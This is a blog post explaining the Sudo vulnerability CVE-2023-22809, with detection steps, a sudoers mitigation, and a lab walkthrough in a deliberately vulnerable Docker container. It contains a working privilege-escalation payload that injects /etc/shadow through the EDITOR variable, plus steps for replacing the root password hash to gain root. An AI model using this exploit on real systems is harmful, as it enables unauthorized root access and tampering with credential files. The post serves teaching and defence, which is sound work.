CVE-2023-22809: Sudo Arbitrary File Write

Posted on Jan 20, 2023

This post outlines CVE-2023-22809 affecting Sudo: how to detect, exploit and mitigate it.

We’ll also run through a more detailed practical example on a vulnerable Ubuntu Docker container where we exploit the vulnerability to elevate privileges.


Summary

The full security advisory from Synacktiv, on which this post is based, can be found here.

In Sudo <=1.9.12p1, if a user has been granted sudoedit privileges on a document, they can inject a malicious environment variable to let them edit any document as the configured runas user. This could be used to elevate privileges, for example by changing the root password in /etc/shadow.

Detection

Check the sudo version is <=1.9.12p1:

$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

Check if you have sudoedit privileges on any files with sudo -l:

$ sudo -l
Matching Defaults entries for user on 3cbc8c6fdc12:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User user may run the following commands on 3cbc8c6fdc12:
    (ALL : ALL) sudoedit /etc/custom/service.conf

These are both essential pre-conditions to CVE-2023-22809 - if you don’t have them, the system isn’t vulnerable.

Exploitation

Run the allowed sudoedit command, preceded by a malicious EDITOR variable containing the restricted file you want to edit as root.

For example, if you’re permitted to run sudoedit /etc/custom/service.conf and you want to edit the restricted file /etc/shadow, run the following command containing the payload 'vim -- /etc/shadow':

EDITOR='vim -- /etc/shadow' sudoedit /etc/custom/service.conf

Vim will open /etc/shadow with read/write access.

Mitigation

Ensure the relevant environment variables are added to the env_delete deny list when using sudoedit:

Defaults!SUDOEDIT env_delete+="SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit /etc/custom/service.conf
user ALL=(ALL:ALL) SUDOEDIT

In Detail: Privesc Walkthrough

Below is a walkthrough of the exploitation on a vulnerable Docker container.

The Dockerfile can be found on my github repo or you can just copy/paste from this post if you’re playing along at home. If that’s the case, ensure you have the latest version of Docker installed on your system.

First, we’ll create the vulnerable container. Create a file named Dockerfile (with no file extension such as .txt) containing the following:

# pull ubuntu
FROM ubuntu:latest 
RUN apt update
# install the vulnerable sudo version and vim 
RUN apt install -y sudo=1.9.9-1ubuntu2 vim
# create an arbitrary file on which to grant sudoedit privs
RUN mkdir /etc/custom && touch /etc/custom/service.conf
# add a user with credentials user:user
RUN adduser user && echo "user:user" | chpasswd
# grant sudoedit privs to the file created above
RUN echo "user ALL=(ALL:ALL) sudoedit /etc/custom/service.conf" >> /etc/sudoers
# switch to user when the container is run
USER user

From within the same directory in your terminal, build the container with:

docker build -t ubuntu_sudo .

This will create a docker image called ubuntu_sudo based on the above Dockerfile.

Run it:

docker run -it ubuntu_sudo

The -it flag gives you an interactive terminal on launch so you should find yourself in the container as user:

>docker run -it ubuntu_sudo
user@223b47c80e3c:/$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@223b47c80e3c:/$

We can see below that attempts to switch to root and access /etc/shadow are unsuccessful:

user@223b47c80e3c:/$ su root
Password:
su: Authentication failure
user@223b47c80e3c:/$ cat /etc/shadow
cat: /etc/shadow: Permission denied
user@223b47c80e3c:/$

So let’s see what sudo privileges we have with sudo -l:

We’re allowed to run sudoedit /etc/custom/service.conf.

sudoedit allows non-root users to edit specified protected documents. It also lets users specify their favourite text editor via environment variables. Here’s the relevant part from the man page:

The editor specified by the policy is run to edit the temporary files. 
The sudoers policy uses the SUDO_EDITOR, VISUAL and EDITOR environment 
variables (in that order). If none of SUDO_EDITOR, VISUAL or EDITOR are 
set, the first program listed in the editor sudoers(5) option is used. 

It’s that last variable, EDITOR, that we use for injection in this attack.

As a user, I might set EDITOR as vim to legitimately use this. However, this vulnerability lets us inject a protected file within that variable, which is accepted as a valid file to sudoedit.

Let’s use this to escalate privileges by changing the root password to one of our choosing in /etc/shadow.

First we’ll generate a new shadow hash for the password attackerpass on a Kali machine:

┌──(kali㉿kali)-[~]
└─$ mkpasswd -m sha-512 -S saltsalt -s
Password: attackerpass
$6$saltsalt$oVyxxHwq58Yd6q7m0hZvylhO21yXm4bLbwL6rJCKixRStV1JanrmnyRkn9mmRwSeXTvsPhIMubFR0SNPfAQe60

Then we’ll run our payload on the Docker machine:

EDITOR='vim -- /etc/shadow' sudoedit /etc/custom/service.conf

which opens /etc/shadow in vim:

root:*:19326:0:99999:7:::
daemon:*:19326:0:99999:7:::
bin:*:19326:0:99999:7:::
sys:*:19326:0:99999:7:::
sync:*:19326:0:99999:7:::
games:*:19326:0:99999:7:::
man:*:19326:0:99999:7:::
lp:*:19326:0:99999:7:::
mail:*:19326:0:99999:7:::
news:*:19326:0:99999:7:::
uucp:*:19326:0:99999:7:::
proxy:*:19326:0:99999:7:::
www-data:*:19326:0:99999:7:::
backup:*:19326:0:99999:7:::
list:*:19326:0:99999:7:::
irc:*:19326:0:99999:7:::
gnats:*:19326:0:99999:7:::
nobody:*:19326:0:99999:7:::
_apt:*:19326:0:99999:7:::
user:$y$j9T$R0JSP2OwSkfOs4Jul/lye.$n6tp3P38N0nxTcWx01bJFe5scm9QuTXIjJ6MrXpKZp5:19377:0:99999:7:::

We can see on the first line above that the root user doesn’t currently have a password hash, so let’s insert ours:

root:$6$saltsalt$oVyxxHwq58Yd6q7m0hZvylhO21yXm4bLbwL6rJCKixRStV1JanrmnyRkn9mmRwSeXTvsPhIMubFR0SNPfAQe60:19326:0:99999:7:::
daemon:*:19326:0:99999:7:::
bin:*:19326:0:99999:7:::
sys:*:19326:0:99999:7:::
sync:*:19326:0:99999:7:::
games:*:19326:0:99999:7:::
man:*:19326:0:99999:7:::
lp:*:19326:0:99999:7:::
mail:*:19326:0:99999:7:::
news:*:19326:0:99999:7:::
uucp:*:19326:0:99999:7:::
proxy:*:19326:0:99999:7:::
www-data:*:19326:0:99999:7:::
backup:*:19326:0:99999:7:::
list:*:19326:0:99999:7:::
irc:*:19326:0:99999:7:::
gnats:*:19326:0:99999:7:::
nobody:*:19326:0:99999:7:::
_apt:*:19326:0:99999:7:::
user:$y$j9T$R0JSP2OwSkfOs4Jul/lye.$n6tp3P38N0nxTcWx01bJFe5scm9QuTXIjJ6MrXpKZp5:19377:0:99999:7:::

and write/exit vim with esc then :wq!

We can then su to root with the attackerpass password:

user@396b29f3478f:/$ su root
Password:
root@396b29f3478f:/# id
uid=0(root) gid=0(root) groups=0(root)
root@396b29f3478f:/#

We successfully elevated privileges!

Thanks for reading. For feedback, corrections or omissions, get in touch!

References